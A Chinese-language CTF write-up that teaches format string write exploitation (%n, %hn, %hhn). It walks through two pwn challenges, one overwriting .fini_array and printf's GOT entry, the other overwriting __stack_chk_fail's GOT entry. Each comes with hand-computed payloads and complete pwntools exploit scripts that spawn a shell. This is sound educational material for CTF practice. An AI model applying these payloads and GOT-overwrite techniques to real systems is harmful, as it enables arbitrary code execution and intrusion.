@H4l0
2020-07-27T15:16:38.000000Z
字数 6566
阅读 2550
PWN 格式化字符串
大家对格式化字符串读操作一定不陌生,但是对写操作的概念或者具体步骤会比较模糊。这里主要总结一下格式化字符串写操作,会以两道例题来进行讲解。
%c 在 printf 的使用中,表示的是输出类型为字符型,例如:%200c 表示总共输出 200 个字符,如果不足 200 个则在前面补上空字符。
再例如下面的代码:
#include <stdio.h>#include <stdlib.h>int main(){int i = 0x6667;printf("%200c",((char *)&i)[1]);return 0;}
输出结果:

所以根据上面的结果就很容易知道他的用法,这里的 %c 经常会配合 %n 来进行使用。

特殊的格式化控制符%n,和其他控制输出格式和内容的格式化字符不同的是,这个格式化字符会将已输出的字符数写入到对应参数的内存中。
%n 一次性写入 4 个字节%hn 一次性写入 2 个字节%hhn 一次性写入 1 个字节
%n 一般会配合 %c 进行使用,%c 负责输出字符,%n 负责统计输出的字符串的数量并转化为 16 进制格式写入到偏移的内存地址里。
所以之后写内存的任务其实就是计数的任务了,在后面的例子中也会详细讲解到。
这个控制字符的详细用法在这篇文章中讲的很清楚了,这里就不赘述了。
直接利用 pwntools 的 fmtstr_payload 函数即可生成相应的 payload,具体用法可以查看官方文档。
例如举一个最简单的用法,假如我们知道这里 fmt 的偏移是 4,我们要将 0x80405244 地址的值覆盖为 0x12344321,就可以这样调用:
fmtstr_payload(4,{0x80405244:0x12344321})

这个例题是国赛某赛区线下半决赛的一道 pwn 题目。解题思路是覆盖某个函数的 got 表进行 getshell。
主要逻辑只有一个 main 函数,允许输入 64 个字符的字符串(其实这是一个提示最后的 payload 是 64 个字节长度),接着在下面有一处很明显的格式化字符串漏洞,那么这里我们就可以输入 %x、%p 进行内存泄露。
int __cdecl main(int argc, const char **argv, const char **envp){char format; // [esp+0h] [ebp-48h]setvbuf(stdin, 0, 2, 0);setvbuf(stdout, 0, 2, 0);puts("Welcome to my ctf! What's your name?");__isoc99_scanf("%64s", &format);printf("Hello ");printf(&format);return 0;}
同时在程序中还有一个 system 函数,这里的 command 是一个 0x00 的 4 字节位于 .data 段的值。

按照正常套路来先确定一波偏移。
aaaa%x,%x,%x,%xaaaa%4$x
很容易知道这里的偏移是 4。

来缕清一下思路,我们只有一次格式化字符串的机会,要么是进行格式化字符串的读操作,要么是进行格式化字符串的写操作,所以这里就没办法在读内存之后进行任意地址写了。
那么有没有办法同时读或者写呢?或者让程序多循环几次呢?答案是有的。
具体的做法可以参考某位大佬的文章:https://bbs.ichunqiu.com/thread-43624-1-1.html
引用文章中的一张图:

按照文章中的 "使用格式化字符串漏洞使程序无限循环" 的操作,大概的操作是:
在将 start 函数或者 main 函数的地址覆写 .fini.array 段中的函数指针,导致程序在进行程序执行结束的收尾操作时,重新执行一次 main 函数,这样我们就可以重新返回 main 函数。
在覆写 .fini.array 段的函数指针的同时,将 printf 函数的 got 表覆盖为 system 函数的地址即可。
在 IDA 中查看 .fini.array 中区段的函数,可见就只有一个函数指针:__do_global_dtors_aux_fini_array_entry,所以我们的目的就是把 main 的地址写到这个地址即可。

回到 main 函数后,输入 /bin/sh\x00 就相当于调用 system("/bin/sh") 函数。

这题的难点就在于 fmt payload 的构造,其实说难也不难,如果掌握了 %n、%hn、%hhn 等格式化串的用法,构造起来就会比较轻车熟路。这里需要覆盖两处地方,所以这里一定要了解原理才行。
__do_global_dtors_aux_fini_array_entry 函数指针覆盖为 main 函数地址main 函数地址为 0x08048534, __do_global_dtors_aux_fini_array_entry 的地址为 0x804979C,这一步可以直接使用 fmtstr_payload。
>>> fini_func = 0x0804979C>>> main_addr = 0x08048534>>> fmtstr_payload(4,{fini_func:main_addr},write_size='short')'\x9c\x97\x04\x08\x9e\x97\x04\x08%34092c%4$hn%33488c%5$hn'>>>
.
2. 得到上面的 payload 之后,在里面继续添加将 printf_got 覆盖为 system_plt 的操作即可。即:将 0x0804989C 的地址指针覆盖为 0x080483D0
(1). 添加地址
\x9c\x97\x04\x08\x9e\x97\x04\x08=>\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08
(2). 计算输出字符个数(%c)
需要写入 0x83d0,但是前面输出的字符串个数已经大于 0x83d0,而且数量只能往上加,所以这里只能使用截断的方法:从 0x83d0 加到 0x183d0 即可,最后写入时只会写 2 个字节,也就是 0x83d0,这样就达到了目的。
>>> hex(34088+33488+12)'0x10804'
所以这里进行减法就行,这里就得到了 31692。
>>> 0x183d0-34088-33488-1231692>>> hex(33488+31692+34088+12)'0x183d0'
所以构造好 0x0804989C 后的两个内存地址字节的值:
=>\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08%34088c%4$hn%33488c%5$hn%31692c%6$hn
同理继续添加地址:
=>\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08
计算输出字符个数:
\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn
计算步骤:前面的格式化字符数量不变,使用截断法构造。这里向 0x0804989E 后的两个内存地址字节写入的值为 0x0804。但是原来输出数量为 0x183d0,继续往上加到 0x20804。截断后得到 0x0804。
>>> 0x20804-(33488+31692+34088+12)33844>>> hex(33844+33488+31692+34088+12)'0x20804'
因为最后的 payload 为:
\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn
计算一下最后 len(payload) = 64,这也就是出题人设计 scanf 输入个数为 64 的原因。
from pwn import *r = process("./pwn")elf = ELF("./pwn")print_got = elf.got['printf']r.recvuntil("Welcome to my ctf! What's your name?")fini_func = 0x0804979Csystem_plt = 0x080483D0main_addr = 0x08048534#payload1 = fmtstr_payload(4,{fini_func:main_addr},word_size='short')#payload2 = fmtstr_payload(4,{print_got:system_plt},word_size='short')payload = "\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn"r.send(payload)r.recv()r.sendline('/bin/sh\x00')
这道题是 2019 hgame 的一道 pwn 题。payload 的构造比较巧妙,通过覆盖 ___stack_chk_fail 函数的 got 表指针为后门函数地址来达到目的。
题目的逻辑很简单。
main 函数:
int __cdecl main(int argc, const char **argv, const char **envp){char format; // [rsp+0h] [rbp-60h]unsigned __int64 v5; // [rsp+58h] [rbp-8h]v5 = __readfsqword(0x28u); // canaryinit();read_n(&format, 0x58u);printf(&format); // printf(&format)return 0;}
read_n 函数:
__int64 __fastcall read_n(__int64 str, unsigned int len){__int64 result; // raxsigned int i; // [rsp+1Ch] [rbp-4h]for ( i = 0; ; ++i ){result = i;if ( i > len )break;if ( read(0, (i + str), 1uLL) < 0 )exit(-1);if ( *(i + str) == '\n' ){result = i + str;*result = 0;return result;}}return result;}
backdoor 函数:
int backdoor(){return system("/bin/sh");}
首先,checksec 发现存在 canary。

在 main 函数中,存在一处栈溢出(刚好可以覆盖到 canary)和格式化字符串漏洞。但是程序只一次格式化字符串利用的机会,而且还存在 canary,并且在 printf 函数调用完成后也没有调用其他的库函数。
这里也没办法通过循环回 main 函数进行二次利用。
这里存在后门函数,所以很明显是将这个后门函数地址往某个地方写入,那往哪里写呢?这里可以直接往 ___stack_chk_fail 函数的 got 表里写,再构造 payload 完 send 出去之后通过溢出触发 ___stack_chk_fail 函数,即最终调用了 system 函数。
首先确定偏移为 6。
nick@nick-machine:~/pwn/fmt$ ./babyfmttIt's easy to PWNaaaa%6$xaaaa6161616
再计算输入 payload 到 canary 的距离:0x60-0x8 = 0x58 = 88
char format; // [rsp+0h] [rbp-60h]unsigned __int64 v5; // [rsp+58h] [rbp-8h]
接着先使用 fmtstr_payload 生成一个 payload ,发现长度是 58,所以我们需要手动在前面加上一写字符直到加到 88。

根据上面的方法先手动加上 30 个 'a',再加上地址
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x20\x10\x60\x00\x21\x10\x60\x00\x22\x10\x60\x00\x23\x10\x60\x00
接着再计算输出字符的个数,比如将第一个 0x4e = 78 写入,写入的字符数:78-16-30 = 32,偏移是 6,此时 payload 即:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x20\x10\x60\x00\x21\x10\x60\x00\x22\x10\x60\x00\x23\x10\x60\x00%32c%6$hhn
接着将后面的格式化串照搬补上即可(不需要更改)。payload 如下:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x20\x10\x60\x00\x21\x10\x60\x00\x22\x10\x60\x00\x23\x10\x60\x00%32c%6$hhn%186c%7$hhn%56c%8$hhn%192c%9$hhn
但是!写好 payload 之后尝试 send 的出去之后,发现并没有 getshell,动态调试的时候也发现没有写入到 printf 的 got 表中,为什么呢?

在 debug 模式下发现这里只输出到 0x602010 ,原因是前面的 0x00 被截断了!解决方法也可以参考那篇文章("64位下的格式化字符串漏洞利用")里的:将 0x00 放在后面,还需对 payload 进行调整,使地址前面的数据恰好为地址长度的倍数

在调用到 printf 函数时下个断点,看到这个是赋值了三个参数,0x00 被放到了相对于栈偏移位置为 2 的地方,这也就是下面的 payload 的偏移为 8 (6+2)的原因。
payload = "%2126c%8$hnaaaaa"+p64(0x601020)+p64(0xdeadbeef)*12或者payload = "%2126c%9$hn%63474c%10$hn"+p64(0x601020)+p64(0x601022)+p64(1)*15
最后的 exp:
from pwn import *r = process("./babyfmtt")r.recvuntil("It's easy to PWN")stack_chk = 0x601020backdoor = 0x40084Epayload = "%2126c%8$hnaaaaa"+p64(0x601020)+p64(0xdeadbeef)*12#payload = fmtstr_payload(6,{stack_chk:backdoor}).ljust(89,'a')log.info(payload)log.info("length of payload: " + str(len(payload)))r.sendline(payload)r.interactive()
总的来说,还是需要熟练掌握 %n 的用法才能利用好格式化字符串漏洞。
https://bbs.ichunqiu.com/thread-43624-1-1.html
http://docs.pwntools.com/en/stable/fmtstr.html